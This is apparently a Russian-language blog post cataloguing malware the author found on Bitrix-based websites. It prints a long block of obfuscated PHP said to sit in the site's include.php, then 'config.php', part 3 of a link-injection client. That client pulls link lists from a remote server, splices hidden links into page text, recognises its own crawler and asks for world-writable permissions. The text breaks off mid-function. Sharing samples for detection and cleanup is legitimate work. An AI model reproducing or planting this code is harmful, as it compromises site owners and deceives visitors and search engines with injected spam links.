if(COption::$GLOBALS['_____1750175310'][15](___2081413597(288), ___2081413597(289), ___2081413597(290))==___2081413597(291)){ $GLOBALS['____1988548245'][42](___2081413597(292), $GLOBALS['____1988548245'][43]()); $GLOBALS[___2081413597(293)]= ___2081413597(294); $GLOBALS[___2081413597(295)]->StartUsingMasterOnly(); CAgent::CheckAgents(); $GLOBALS[___2081413597(296)]->StopUsingMasterOnly(); $GLOBALS['____1988548245'][44](___2081413597(297), $GLOBALS['____1988548245'][45]()); $GLOBALS[___2081413597(298)]= ___2081413597(299);} $GLOBALS['____1988548245'][46](___2081413597(300), ___2081413597(301)); if($_793078498= $GLOBALS[___2081413597(302)]->GetCookieDomain()) $GLOBALS['____1988548245'][47](___2081413597(303), $_793078498); if(COption::$GLOBALS['_____1750175310'][16](___2081413597(304), ___2081413597(305), ___2081413597(306)) === ___2081413597(307) && CModule::$GLOBALS['_____1750175310'][17](___2081413597(308))) CSecuritySession::Init(); $GLOBALS['____1988548245'][48](); foreach($GLOBALS['_____1750175310'][18](___2081413597(309), ___2081413597(310), true) as $_1808939329) ExecuteModuleEventEx($_1808939329); $GLOBALS[___2081413597(311)]= new CUser; $_1009737621= $GLOBALS[___2081413597(312)]->GetSecurityPolicy(); $_1013266189= $GLOBALS['____1988548245'][49](); if((  $_SESSION[___2081413597(313)] && $GLOBALS['____1988548245'][50]($_1009737621[___2081413597(314)])>(231*2-462) &&(($GLOBALS['____1988548245'][51]($_1009737621[___2081413597(315)])& $GLOBALS['____1988548245'][52]($_SESSION[___2081413597(316)])) !=($GLOBALS['____1988548245'][53]($_1009737621[___2081413597(317)])& $GLOBALS['____1988548245'][54]($_SERVER[___2081413597(318)])))) ||(  $_1009737621[___2081413597(319)]>(1200/2-600) && $_SESSION[___2081413597(320)]>(201*2-402) && $_1013266189-$_1009737621[___2081413597(321)]*round(0+30+30)> $_SESSION[___2081413597(322)]) ||(  isset($_SESSION[___2081413597(323)]) && $_SESSION[___2081413597(324)]> min(182,0,60.666666666667) && $_1013266189> $_SESSION[___2081413597(325)]) ||(  isset($_SESSION[___2081413597(326)]) && $_SESSION[___2081413597(327)] <> bitrix_sess_sign()) ||(  isSessionExpired())){ $_SESSION= array();@$GLOBALS['____1988548245'][55]();   if(COption::$GLOBALS['_____1750175310'][19](___2081413597(328), ___2081413597(329), ___2081413597(330)) === ___2081413597(331) && CModule::$GLOBALS['_____1750175310'][20](___2081413597(332))) CSecuritySession::Init(); $GLOBALS['____1988548245'][56]($GLOBALS['____1988548245'][57]($GLOBALS['____1988548245'][58]($GLOBALS['____1988548245'][59](), true))); $GLOBALS['____1988548245'][60](); $GLOBALS[___2081413597(333)]= new CUser;} $_SESSION[___2081413597(334)]= $_SERVER[___2081413597(335)]; $_SESSION[___2081413597(336)]= $GLOBALS['____1988548245'][61](); if(!isset($_SESSION[___2081413597(337)])) $_SESSION[___2081413597(338)]= bitrix_sess_sign(); if((COption::$GLOBALS['_____1750175310'][21](___2081413597(339), ___2081413597(340), ___2081413597(341)) == ___2081413597(342)) &&(COption::$GLOBALS['_____1750175310'][22](___2081413597(343), ___2081413597(344),(760-2*380))>(1056/2-528)) &&!$GLOBALS['____1988548245'][62](___2081413597(345))){ if(!$GLOBALS['____1988548245'][63](___2081413597(346), $_SESSION)){ $_SESSION[___2081413597(347)]= $_SESSION[___2081413597(348)];} elseif(($_SESSION[___2081413597(349)]+ COption::$GLOBALS['_____1750175310'][23](___2081413597(350), ___2081413597(351)))< $_SESSION[___2081413597(352)]){ if(COption::$GLOBALS['_____1750175310'][24](___2081413597(353), ___2081413597(354), ___2081413597(355)) === ___2081413597(356) && CModule::$GLOBALS['_____1750175310'][25](___2081413597(357))){ CSecuritySession::UpdateSessID();} else{ $GLOBALS['____1988548245'][64]();} $_SESSION[___2081413597(358)]= $_SESSION[___2081413597(359)];}} $GLOBALS['____1988548245'][65](___2081413597(360), true); if(isset($_SESSION[___2081413597(361)])){ $GLOBALS['____1988548245'][66](___2081413597(362), round(0+0.33333333333333+0.33333333333333+0.33333333333333)); unset($_SESSION[___2081413597(363)]);} if(!$GLOBALS['____1988548245'][67](___2081413597(364)) || NOT_CHECK_PERMISSIONS!==true){ $_1575021146= isset($_REQUEST[___2081413597(365)]) &&($GLOBALS['____1988548245'][68]($_REQUEST[___2081413597(366)]) == ___2081413597(367)); if($_1575021146 && $GLOBALS[___2081413597(368)]->$GLOBALS['_____1750175310'][26]()){ $GLOBALS[___2081413597(369)]->Logout(); $GLOBALS['_____1750175310'][27]($GLOBALS[___2081413597(370)]->GetCurPageParam(___2081413597(371), array(___2081413597(372))));}  $_1658776957= COption::$GLOBALS['_____1750175310'][28](___2081413597(373), ___2081413597(374), ___2081413597(375)); $_112061578= $_COOKIE[$_1658776957.___2081413597(376)]; $_117325559= $_COOKIE[$_1658776957.___2081413597(377)]; if(COption::$GLOBALS['_____1750175310'][29](___2081413597(378), ___2081413597(379), ___2081413597(380))==___2081413597(381) && $GLOBALS['____1988548245'][69]($_112061578)>(946-2*473) && $GLOBALS['____1988548245'][70]($_117325559)>(986-2*493) &&!$GLOBALS[___2081413597(382)]->$GLOBALS['_____1750175310'][30]() &&!$_1575021146 && $_SESSION[___2081413597(383)] != $GLOBALS['____1988548245'][71]($_112061578.___2081413597(384).$_117325559)){ $GLOBALS[___2081413597(385)]->LoginByHash($_112061578, $_117325559); $_SESSION[___2081413597(386)]= $GLOBALS['____1988548245'][72]($_112061578.___2081413597(387).$_117325559);} $_1652402992= false;  if(($_1900681018= $GLOBALS[___2081413597(388)]->LoginByHttpAuth()) !== null){ $_1652402992= $_1900681018; $GLOBALS[___2081413597(389)]->SetAuthResult($_1652402992);}  if(isset($_REQUEST[___2081413597(390)]) && $_REQUEST[___2081413597(391)] <> ___2081413597(392)){ $_831922517= false; if(COption::$GLOBALS['_____1750175310'][31](___2081413597(393), ___2081413597(394), ___2081413597(395)) == ___2081413597(396)){  $_1269778563= new CRsaSecurity(); if(($_712479517= $_1269778563->LoadKeys())){ $_1269778563->SetKeys($_712479517); $_1389198966= $_1269778563->AcceptFromForm(array(___2081413597(397), ___2081413597(398))); if($_1389198966 == CRsaSecurity::ERROR_SESS_CHECK) $_1652402992= array(___2081413597(399)=>GetMessage(___2081413597(400)), ___2081413597(401)=>___2081413597(402)); elseif($_1389198966<(203*2-406)) $_1652402992= array(___2081413597(403)=>GetMessage(___2081413597(404), array(___2081413597(405)=>$_1389198966)), ___2081413597(406)=>___2081413597(407)); if($_1389198966<(203*2-406)) $_831922517= true;}} if($_831922517 == false){ if(!$GLOBALS['____1988548245'][73](___2081413597(408)) || ADMIN_SECTION !== true) $_1943746418= LANG; else $_1943746418= false; if($_REQUEST[___2081413597(409)] == ___2081413597(410)){ $_1652402992= $GLOBALS[___2081413597(411)]->Login($_REQUEST[___2081413597(412)], $_REQUEST[___2081413597(413)], $_REQUEST[___2081413597(414)]); if($_1652402992 === true && $GLOBALS['____1988548245'][74](___2081413597(415)) && ADMIN_SECTION === true){  $GLOBALS[___2081413597(416)]->StoreCookies(); $_SESSION[___2081413597(417)]= true; echo ___2081413597(418); die();}} elseif($_REQUEST[___2081413597(419)] == ___2081413597(420)) $_1652402992= $GLOBALS[___2081413597(421)]->SendPassword($_REQUEST[___2081413597(422)], $_REQUEST[___2081413597(423)], $_1943746418); elseif($_SERVER[___2081413597(424)] == ___2081413597(425) && $_REQUEST[___2081413597(426)] == ___2081413597(427)) $_1652402992= $GLOBALS[___2081413597(428)]->ChangePassword($_REQUEST[___2081413597(429)], $_REQUEST[___2081413597(430)], $_REQUEST[___2081413597(431)], $_REQUEST[___2081413597(432)], $_1943746418); elseif(COption::$GLOBALS['_____1750175310'][32](___2081413597(433), ___2081413597(434), ___2081413597(435)) == ___2081413597(436) && $_SERVER[___2081413597(437)] == ___2081413597(438) && $_REQUEST[___2081413597(439)] == ___2081413597(440) &&(!$GLOBALS['____1988548245'][75](___2081413597(441)) || ADMIN_SECTION!==true)) $_1652402992= $GLOBALS[___2081413597(442)]->Register($_REQUEST[___2081413597(443)], $_REQUEST[___2081413597(444)], $_REQUEST[___2081413597(445)], $_REQUEST[___2081413597(446)], $_REQUEST[___2081413597(447)], $_REQUEST[___2081413597(448)], $_1943746418, $_REQUEST[___2081413597(449)], $_REQUEST[___2081413597(450)]);} $GLOBALS[___2081413597(451)]->SetAuthResult($_1652402992);} elseif(!$GLOBALS[___2081413597(452)]->$GLOBALS['_____1750175310'][33]()){  $GLOBALS[___2081413597(453)]->LoginHitByHash();}} if(!$GLOBALS['____1988548245'][76](___2081413597(454)) || ADMIN_SECTION !== true){ if(isset($_REQUEST[___2081413597(455)]) && $_REQUEST[___2081413597(456)] <> ___2081413597(457) && $GLOBALS[___2081413597(458)]->$GLOBALS['_____1750175310'][34](___2081413597(459))){  $_775313022= CSiteTemplate::$GLOBALS['_____1750175310'][35]($_REQUEST[___2081413597(460)]); if($_467960348= $_775313022->$GLOBALS['_____1750175310'][36]()) $GLOBALS['____1988548245'][77](___2081413597(461), $_467960348[___2081413597(462)]); else $GLOBALS['____1988548245'][78](___2081413597(463), CSite::GetCurTemplate());} else{ $GLOBALS['____1988548245'][79](___2081413597(464), CSite::GetCurTemplate());} $GLOBALS['____1988548245'][80](___2081413597(465), getLocalPath(___2081413597(466).SITE_TEMPLATE_ID, BX_PERSONAL_ROOT));} if(isset($_GET[___2081413597(467)])){ if($_GET[___2081413597(468)]==___2081413597(469) || $_GET[___2081413597(470)]==___2081413597(471)) $_SESSION[___2081413597(472)]= $_GET[___2081413597(473)];} if(isset($_GET[___2081413597(474)])){ if($_GET[___2081413597(475)]==___2081413597(476) || $_GET[___2081413597(477)]==___2081413597(478)) $_SESSION[___2081413597(479)]= $_GET[___2081413597(480)];} if(isset($_GET[___2081413597(481)]) && $_GET[___2081413597(482)] <> ___2081413597(483)) $GLOBALS[___2081413597(484)]->SetShowIncludeAreas($_GET[___2081413597(485)]==___2081413597(486)); if($GLOBALS[___2081413597(487)]->$GLOBALS['_____1750175310'][37]()){ $_1658776957= COption::$GLOBALS['_____1750175310'][38](___2081413597(488), ___2081413597(489), ___2081413597(490)); if(!isset($_COOKIE[$_1658776957.___2081413597(491)])) $GLOBALS[___2081413597(492)]->set_cookie(___2081413597(493), ___2081413597(494), min(206,0,68.666666666667));} foreach($GLOBALS['_____1750175310'][39](___2081413597(495), ___2081413597(496), true) as $_1808939329) ExecuteModuleEventEx($_1808939329); if((!$GLOBALS['____1988548245'][81](___2081413597(497)) || NOT_CHECK_PERMISSIONS!==true) &&(!$GLOBALS['____1988548245'][82](___2081413597(498)) || NOT_CHECK_FILE_PERMISSIONS!==true)){ $_245144863= $GLOBALS[___2081413597(499)]->$GLOBALS['_____1750175310'][40](true); if(isset($_SERVER[___2081413597(500)]) && $_SERVER[___2081413597(501)] != ___2081413597(502)) $_245144863= $_SERVER[___2081413597(503)]; if(!$GLOBALS[___2081413597(504)]->CanDoFileOperation(___2081413597(505), array(SITE_ID, $_245144863)) ||($GLOBALS['____1988548245'][83](___2081413597(506)) && NEED_AUTH &&!$GLOBALS[___2081413597(507)]->$GLOBALS['_____1750175310'][41]())){  if($GLOBALS[___2081413597(508)]->$GLOBALS['_____1750175310'][42]() && $_1652402992[___2081413597(509)] == ___2081413597(510)) $_1652402992= array(___2081413597(511)=>GetMessage(___2081413597(512)).___2081413597(513).GetMessage(___2081413597(514), array(___2081413597(515)=>$_245144863)), ___2081413597(516)=>___2081413597(517)); if($GLOBALS['____1988548245'][84](___2081413597(518)) && ADMIN_SECTION==true){ if($_REQUEST[___2081413597(519)]==___2081413597(520) || $_REQUEST[___2081413597(521)]==___2081413597(522)){ echo ___2081413597(523).$GLOBALS[___2081413597(524)]->$GLOBALS['_____1750175310'][43]().___2081413597(525).DeleteParam(array(___2081413597(526))).___2081413597(527); die();} elseif($_REQUEST[___2081413597(528)]==___2081413597(529)){ echo ___2081413597(530).$GLOBALS[___2081413597(531)]->$GLOBALS['_____1750175310'][44]().___2081413597(532).DeleteParam(array(___2081413597(533))).___2081413597(534); die();} elseif($GLOBALS['____1988548245'][85](___2081413597(535)) && MOBILE_APP_ADMIN==true){ echo $GLOBALS['____1988548245'][86](Array(___2081413597(536)=>___2081413597(537))); die();}}  $GLOBALS[___2081413597(538)]->AuthForm($_1652402992);}}  if(isset($_1648272648) && $_1648272648==round(0+80.8+80.8+80.8+80.8+80.8)){ if(COption::$GLOBALS['_____1750175310'][45](___2081413597(539), ___2081413597(540), ___2081413597(541))==___2081413597(542)) CHTTP::SetStatus(___2081413597(543));} 
Обычно встречается в следующих файлах:
  1. ./bitrix/modules/main/include.php
Вызывается из файла /bitrix/templates/main/header.php


воскресенье, 12 июля 2015 г.

Коллекция вирусов которые находил на своих сайтах на битриксе. config.php часть 3

$iLdxy="config.php

class lmp_base {

     var $lmp_version            = '3.03';

     var $lmp_charset            = 'windows-1251';

     var $lmp_cache_lifetime     = 3600;     //Время жизни кеша (через сколько времени обновлять)

     var $lmp_cache_reloadtime   = 15;     // Если скачать базу ссылок не удалось, то следующая попытка будет через столько секунд

     var $lmp_links_db_file      = '';

     var $lmp_error              = '';

     var $lmp_error_desplay      = false;

     var $lmp_request_uri        = '';

     var $lmp_multi_site         = false;

     var $lmp_server             = '';

     var $lmp_host_connect_type  = 'file_get_contents';  // Способ подключения к серверу [file_get_contents|curl|socket]

     var $lmp_socket_timeout     = 10;       // Сколько ждать ответа от сервера

     var $lmp_host               = '';
     
     var $lmp_is_our_bot         = false;           
     
     var $lmp_showedtag          = false;
     
     var $lmp_check_code				 = false;   //Показывать или нет проверочный код !-- LMP --, для проверки правильности установки кода
     
     function lmp_base($opts = null){

          if(is_array($opts)){
              if(isset($opts['host']))$this->lmp_host=$opts['host'];
          }
          elseif(strlen($opts)){
             $this->lmp_server=$opts;
             $opts=array();
          }
          else {
             $this->lmp_host='';
             $opts=array();
          }

          if ($this->lmp_host == '')$this->lmp_host = $_SERVER['HTTP_HOST'];

          $this->lmp_host = strtr(strtr($this->lmp_host, array('www.'=>'')), array('http://'=>''));
          
          if (isset($opts['server']) && strlen($opts['server']))$this->lmp_server = $opts['server'];

          if (isset($opts['request_uri']) && strlen($opts['request_uri']))$this->lmp_request_uri = $opts['request_uri'];
          else $this->lmp_request_uri = $_SERVER['REQUEST_URI'];

          if (isset($opts['multi_site']) && $opts['multi_site'] == true)$this->lmp_multi_site = true;

          if (isset($opts['error_desplay']) && $opts['error_desplay'] == true)$this->lmp_error_desplay = true;

          if (isset($opts['host_connect_type']) && strlen($opts['host_connect_type']))$this->lmp_host_connect_type = $opts['host_connect_type'];

          if (isset($opts['socket_timeout'])){
             if(preg_match("/^[0-9]+$/si", $opts['socket_timeout'])){
                if($opts['socket_timeout']>0)$this->lmp_socket_timeout = $opts['socket_timeout'];
             }
          }
          
          if(isset($opts['check_code'])){
          	if($opts['check_code']==true or $opts['check_code']==false)$this->lmp_check_code = $opts['check_code'];
          }

	        // Определяем наш ли робот
	        if (isset($_SERVER['HTTP_USER_AGENT']) && ($_SERVER['HTTP_USER_AGENT'] == 'LMP_Robot')) {
	            $this->lmp_is_our_bot = true;
	        } else {
	            $this->lmp_is_our_bot = false;
	        }

          //$this->return_link_array();
     }

     //Считывание файла удаленно
     function get_file( $host, $path ){

          $user_agent = 'LMP_Client PHP ' . $this->lmp_version;
          
          @ini_set('allow_url_fopen',          1);
          @ini_set('default_socket_timeout',   $this->lmp_socket_timeout);
          @ini_set('user_agent',               $user_agent);

          if($this->lmp_host_connect_type=='file_get_contents'){
							//print 'http://' . $host . $path;
              if ($data = @file_get_contents('http://' . $host . $path)) {
                  return $data;
              }

          }

          elseif($this->lmp_host_connect_type=='curl'){

             if ($ch = @curl_init()) {
                 @curl_setopt($ch, CURLOPT_URL,              'http://' . $host . $path);
                 @curl_setopt($ch, CURLOPT_HEADER,           false);
                 @curl_setopt($ch, CURLOPT_RETURNTRANSFER,   true);
                 @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,   $this->lmp_socket_timeout);
                 @curl_setopt($ch, CURLOPT_USERAGENT,        $user_agent);

                 if ($data = curl_exec($ch)) {
                 	//print $data;
                     @curl_close($ch);
                     return $data;
                 }


                 @curl_close($ch);

             }

          }

          elseif($this->lmp_host_connect_type=='socket'){

             $c = '';
             $fp = @fsockopen('www.' . $host, 80, $errno, $errstr, $this->lmp_socket_timeout);
             if ($fp) {
                 @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
                 @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
                 while (!@feof($fp)) {
                     $c .= @fgets($fp, 128);
                 }
                 @fclose($fp);

                 $data = explode("\r\n\r\n", $c);

                 return $data[1];
             }

          }

          else {
              $this->raise_error('Неправильно указан способ подключения к серверу');
              return false;
          }

          return $this->raise_error('Невозможно подключиться к серверу... ' . $host . $path);

     }


     //Функция для чтения базы ссылок из кеша
     function lmp_read( $file ) {

        $fp = @fopen($file, 'rb');
        @flock($fp, LOCK_SH);
        if ($fp) {

             $length = @filesize($file);
             
             // $mqr = get_magic_quotes_runtime();
            // set_magic_quotes_runtime(0);
             if ($length) {
                 $data = @fread($fp, $length);
             } else {
                 $data = '';
             }
             //set_magic_quotes_runtime($mqr);
             @flock($fp, LOCK_UN);
             @fclose($fp);

             return $data;
         }

         return $this->raise_error('Невозможно считать данные из файла: ' . $file);
     }
     

     //Функция записи в локальный файл
     function lmp_write($filename, $data) {

        $fp = @fopen($filename, 'wb');
        if ($fp) {
            @flock($fp, LOCK_EX);
            $length = strlen($data);
            @fwrite($fp, $data, $length);
            @flock($fp, LOCK_UN);
            @fclose($fp);

            if (md5($this->lmp_read($filename)) != md5($data)) {
                return $this->raise_error('Нарушена целостность данных при записи в файл: ' . $filename);
            }

            return true;
        }

        return $this->raise_error('Не могу записать данные в файл: ' . $filename);
     }     
     
     //Отображение ошибок
     function raise_error($err) {

         $this->lmp_error = '

LMPanel error: '.$err.'

'; if ($this->lmp_error_desplay == true) { print $this->lmp_error; } return false; } function load_data(){ $this->lmp_links_db_file = $this->_get_db_file(); if(!is_file($this->lmp_links_db_file)){ if(@touch($this->lmp_links_db_file)){ chmod($this->lmp_links_db_file, 0666); } else return $this->raise_error('Невозможно создать файл ' . $this->lmp_links_db_file . '. Установите на дирректорию со ссылками права 777'); } if (!is_writable($this->lmp_links_db_file)) { return $this->raise_error('Нет доступа на запись к файлу: ' . $this->lmp_links_db_file . '! Выставите права 777 на папку.'); } if(filemtime($this->lmp_links_db_file) < (time()-$this->lmp_cache_lifetime) || filesize($this->lmp_links_db_file) == 0) { @touch($this->lmp_links_db_file, (time() - $this->lmp_cache_lifetime + $this->lmp_cache_reloadtime)); //$path = '/downlbase.php?host=' . urlencode($this->lmp_host); $path = $this->_get_dispenser_path(); if(preg_match("/\//si", $this->lmp_server)){ $path = preg_replace("/^[^\/]+(\/.+)$/si", "$1", $this->lmp_server).$path; $this->lmp_server = preg_replace("/^([^\/]+)\/.+$/si", "$1", $this->lmp_server); } if ($data = $this->get_file($this->lmp_server, $path)) { if (preg_match("/^FATAL ERROR:.+$/si", $data)) { $this->raise_error($data); } else { // [псевдо]проверка целостности: if (@unserialize($data) != false) { $this->lmp_write($this->lmp_links_db_file, $data); } } } } if (strlen(session_id())) { $session = session_name() . '=' . session_id(); $this->lmp_request_uri = preg_replace("/^(.+)[\?&]{1}".$session."$/si", "$1", $this->lmp_request_uri); } if ($data = $this->lmp_read($this->lmp_links_db_file)) { $unsData = @unserialize($data); $this->lmp_charset = $unsData['lmp_charset']; $this->set_data($unsData); } } } //Класс для ссылок class lmp_client extends lmp_base { var $lmp_links_page = array(); var $lmp_links = ''; var $lmp_links_delimiter = ''; var $lmp_blocks = 1; var $lmp_block_type = 1; var $lmp_block_info = Array(); function lmp_client($options = null) { parent::lmp_base($options); $this->load_data(); } //ссылки function print_links($block_id=''){ if($block_id == '')$block_id = 1; $html = ''; if (is_array($this->lmp_links_page) & sizeof($this->lmp_links_page)>0 & $this->lmp_is_our_bot==false) { if($this->lmp_charset != ''){ if(function_exists('iconv')){ foreach($this->lmp_links_page as $el){ // print $this->lmp_charset; $linkz[] = iconv("Windows-1251", $this->lmp_charset, $el); } } else { foreach($this->lmp_links_page as $el){ $linkz[] = @mb_convert_encoding($el, $this->lmp_charset, "Windows-1251"); } } } else $linkz = $this->lmp_links_page; if(isset($linkz)){ for($i=0; $ilmp_blocks): $n = $i; for($k=0; $k<$this->lmp_blocks; $k++): if(($k+1) == $block_id)$links[]=$linkz[$n]; $n++; endfor; endfor; } if(!is_array($links))$links[]=''; $links2 = $links; unset($links); foreach($links2 as $el=>$val){ if(trim($links2[$el])!='')$links[] = $links2[$el]; } if($this->lmp_block_type==1){ $html = @join($this->lmp_block_info['links_delimiter'], $links); } else { if(@count($links)>0){ $html = ''; if($this->lmp_block_info['chered']=='h')$html .= ""; foreach($links as $el){ $desc = strip_tags($el); $title = preg_replace("/^.{0,}]+>(.+)<\/a>.{0,}$/si", "$1", $el); $url = preg_replace("/^.{0,}lmp_block_info['chered']=='v')$html .= ""; $html .= ''; if($this->lmp_block_info['chered']=='v')$html .= ""; } if($this->lmp_block_info['chered']=='h')$html .= ""; $html .= '
'.$title.'
'.$desc.'
'.$url.'
'; } } } if(!$this->lmp_showedtag){ if($this->lmp_is_our_bot == true)$html.=''; elseif($this->lmp_check_code == true)$html.=''; $this->lmp_showedtag = true; } return $html; } //опции блока (Я.директ) function set_block_opts($width=100, $height='', $fsize=11, $chered=''){ if($this->lmp_block_type==2){ if($width!='')$this->lmp_block_info['width'] = $width; if($height!='')$this->lmp_block_info['height'] = $height; if($fsize!='')$this->lmp_block_info['fsize'] = $fsize; if($chered!='')$this->lmp_block_info['chered'] = $chered; } } function _get_db_file() { return dirname(__FILE__) . '/links.db'; } function _get_dispenser_path() { return '/downlbase.php?type=1&host=' . urlencode($this->lmp_host); } function set_data($data) { $this->lmp_links = $data; if (@array_key_exists($this->lmp_request_uri, $this->lmp_links) && is_array($this->lmp_links[$this->lmp_request_uri])) { $this->lmp_links_page = $this->lmp_links[$this->lmp_request_uri]; $this->lmp_links_delimiter = $this->lmp_links[$this->lmp_request_uri]; if(isset($this->lmp_links['lmp_block_info'])){ $this->lmp_block_type = $this->lmp_links['lmp_block_info']['type']; if($this->lmp_block_type == 1)$this->lmp_block_info = Array("links_delimiter"=>$this->lmp_links['lmp_block_info']['delimiter']); else { $this->lmp_block_info = Array("border"=>$this->lmp_links['lmp_block_info']['border'], "bg"=>$this->lmp_links['lmp_block_info']['bg'], "title"=>$this->lmp_links['lmp_block_info']['title'], "desc"=>$this->lmp_links['lmp_block_info']['desc'], "url"=>$this->lmp_links['lmp_block_info']['url'], "width"=>100, "height"=>100, "fsize"=>11, "chered"=>'h'); } } if(isset($this->lmp_links['lmp_blocks']))$this->lmp_blocks=$this->lmp_links['lmp_blocks']; } } } //Класс для контекста class lmp_context extends lmp_base { var $_stcs = array(); var $_stcs_page = array(); var $_filter_tags_todot = array('textarea', 'select'); //Тэги заменяющиеся на точку var $_filter_tags_tospace = array('a', 'script', 'style', 'label', 'noscript' , 'noindex', 'button'); //Заменяющиеся на пробел var $_isOutTags = false; function lmp_context($options = null) { parent::lmp_base($options); $this->load_data(); } //Замена слов в фрагменте текста function replace_in_text_segment($text){ //Убираем запрещенные тэги, если по сегментам идет if(!$this->_isOutTags){ $_filter_tags_todot2 = implode("|", $this->_filter_tags_todot); $_filter_tags_tospace2 = implode("|", $this->_filter_tags_tospace); $text = preg_replace("/\<(".$_filter_tags_todot2.")[^\>]{0,}\>(.*?)\<\/(".$_filter_tags_todot2.")\>/si", ".", $text); $text = preg_replace("/\<(".$_filter_tags_tospace2.")[^\>]{0,}\>(.*?)\<\/(".$_filter_tags_tospace2.")\>/si", "", $text); } //Если есть ссылки И если это не наш бот if(sizeof($this->_stcs_page)>0 & $this->lmp_is_our_bot==false){ $text = $this->txtToLTxt($text, &$this->_stcs_page); } //Если тэг еще не показывался if($this->lmp_showedtag==false){ // И если это наш бот if($this->lmp_is_our_bot==true)$text .= ""; //а также если проверка правильности установки elseif($this->lmp_check_code == true)$text .= ""; } //Если наш бот, то обрамляем текст if($this->lmp_is_our_bot==true)$text = "".$text.""; return $text; } //Замена слов в странице function replace_in_page(&$buffer) { //Если есть ссылки на данной странице if(sizeof($this->_stcs_page)>0){ //Если это не наш бот if($this->lmp_is_our_bot==false){ //Убираем запрещенные теги $_filter_tags_todot2 = implode("|", $this->_filter_tags_todot); $_filter_tags_tospace2 = implode("|", $this->_filter_tags_tospace); $this->_isOutTags = true; //разбиваем строку по lmp_index //Проверяем есть ли теги lmp_index $split_content = preg_split('/(?smi)(<\/?lmp_index>)/', $buffer, -1); $cnt_parts = count($split_content); if ($cnt_parts > 1){ //Если есть хоть одна пара lmp_index, то начинаем работу if ($cnt_parts >= 3){ for ($i =1; $i < $cnt_parts; $i = $i + 2){ $split_content[$i] = preg_replace("/\<(".$_filter_tags_todot2.")[^\>]{0,}\>(.*?)\<\/(".$_filter_tags_todot2.")\>/si", ".", $split_content[$i]); $split_content[$i] = preg_replace("/\<(".$_filter_tags_tospace2.")[^\>]{0,}\>(.*?)\<\/(".$_filter_tags_tospace2.")\>/si", "", $split_content[$i]); $split_content[$i] = $this->replace_in_text_segment($split_content[$i]); } } $buffer = implode('', $split_content); if ($this->_debug){ $buffer .= ''; } } else { //Если не нашли sape_index, то пробуем разбить по BODY $split_content = preg_split('/(?smi)(<\/?body[^>]*>)/', $buffer, -1, PREG_SPLIT_DELIM_CAPTURE); //Если нашли содержимое между body if (count($split_content) == 5){ $split_content[0] = $split_content[0].$split_content[1]; $split_content[1] = $this->replace_in_text_segment($split_content[2]); $split_content[2] = $split_content[3].$split_content[4]; unset($split_content[3]); unset($split_content[4]); $buffer = $split_content[0].$split_content[1].$split_content[2]; if ($this->_debug){ $buffer .= ''; } } else { //Если не нашли lmp_index и не смогли разбить по body if ($this->_debug){ $buffer .= ''; } } } } } else { if (!$this->lmp_is_our_bot && !$this->_debug){ $buffer = preg_replace('/(?smi)(<\/?lmp_index>)/','', $buffer); } if ($this->_debug){ $buffer .= ''; } } if($this->lmp_showedtag==false){ if($this->lmp_is_our_bot==true)$buffer .= ""; elseif($this->lmp_check_code == true)$buffer .= ""; $this->lmp_showedtag = true; } return $buffer; } function txtToLTxt($cont, $linksArr){ if($this->lmp_charset!='windows-1251')$cont = @iconv($this->lmp_charset, "windows-1251", $cont); foreach($linksArr as $i=>$link){ $linksArr[$i]['stc'] = preg_replace("/([\,\.\(\)\*\^\$\-\_\+\[\]\{\}\(\)\/\<\>])/si", "\\\\$1", $linksArr[$i]['stc']); } $allSntns = explode (".", preg_replace("/\<([^>]+?)\>/sie", "\"<\".strtr(\"$1\", array(\".\"=>\"[:dntchk:]\")).\">\"", preg_replace("/([\:\/\.a-z\-0-9]+)\.(ru|com|org|kz|net|pl|mobi|cc|biz|info|su|us|tel|tv)/sie", "strtr(\"$1[:dntchk:]$2\", array(\".\"=>\"[:dntchk:]\"))", preg_replace("/([^А-я])(тел|г|[0-9]+|ш?т|д|пр|ул|обл)\./si", "$1$2[:dntchk:]", $cont)))); //Проходимся по каждому предложению текста foreach($allSntns as $k=>$el){ $el = strtr($el, array("[:dntchk:]"=>".")); //$allSntns[$k] = strtr($allSntns[$k], array("[:dntchk:]"=>".")); //Перебираем каждую ссылку foreach($linksArr as $g=>$link){ //Если находим сравнение,то заменяем в нем ссылку if(preg_match("/".trim($link['stc'])."/si", $el)){ //Разделяем словосочетание на слова $txtToExpl = explode(" ", preg_replace("/([\,\.\(\)\*\^\$\-\_\+\[\]\{\}\(\)\/\<\>])/si", "\\\\$1", $link['words'])); $txt = ''; //Данное словосочетание преобразуем в понятный регуляркам вид, создаем переменные для замены for($i=0; $i0)$txt .= "(\<[^\>]+\>| |\n|\r|\s){0,}"; $txt .= "(".$txtToExpl[$i].")"; } //Смотрим урл, который будем ставить $url = explode("><", $link['link']); //Удаляем все теги и заменяем их именами tagToReplaceX, где X - номер тега //создаем массив с тегами preg_match_all("/(\<[^\>]+\>)/si", $allSntns[$k], $tagMatches); $tagsToRepl = array(); $tagsToReplSave = array(); $l = 0; foreach($tagMatches[1] as $tagg){ if(!in_array($tagg, $tagsToReplSave)){ $tagsToRepl[$tagg] = '[tagToReplace'.$l.']'; $l++; } } //заменяем теги на имена $allSntns[$k] = strtr($allSntns[$k], $tagsToRepl); $allSntns[$k] = strtr($allSntns[$k], array("[:dntchk:]"=>".")); //Делаем замену $allSntns[$k] = preg_replace("/(".$txt.")/si", $url[0].">$1<".$url[1], $allSntns[$k], 1); //заменяем именя обратно на теги $allSntns[$k] = strtr($allSntns[$k], array_flip($tagsToRepl)); //удаляем ссылку из массива unset($linksArr[$g]); if(sizeof($linksArr)==0)break; //Если закончились ссылки то выходим } } //Возвращаем точки обратно $allSntns[$k] = strtr($allSntns[$k], array("[:dntchk:]"=>".")); if(sizeof($linksArr)==0)break;//Если закончились ссылки } $mycont = (($this->lmp_charset!='windows-1251')?@iconv("windows-1251", $this->lmp_charset, implode(".", $allSntns)):implode(".", $allSntns)); $mycont = strtr($mycont, array("[:dntchk:]"=>".")); //Возвращаем контент соединяя точками. return $mycont; } function _get_db_file() { return dirname(__FILE__) . '/context.db'; } function _get_dispenser_path() { return '/downlbase.php?type=2&host=' . urlencode($this->lmp_host); } function set_data($data) { $this->_stcs = $data; if (@array_key_exists($this->lmp_request_uri, $this->_stcs) && is_array($this->_stcs[$this->lmp_request_uri])) { foreach($this->_stcs[$this->lmp_request_uri] as $el){ $this->_stcs_page[] = array("stc"=>$el['stc'], "words"=>$el['text'], "link"=>""); } //$this->_stcs_page = 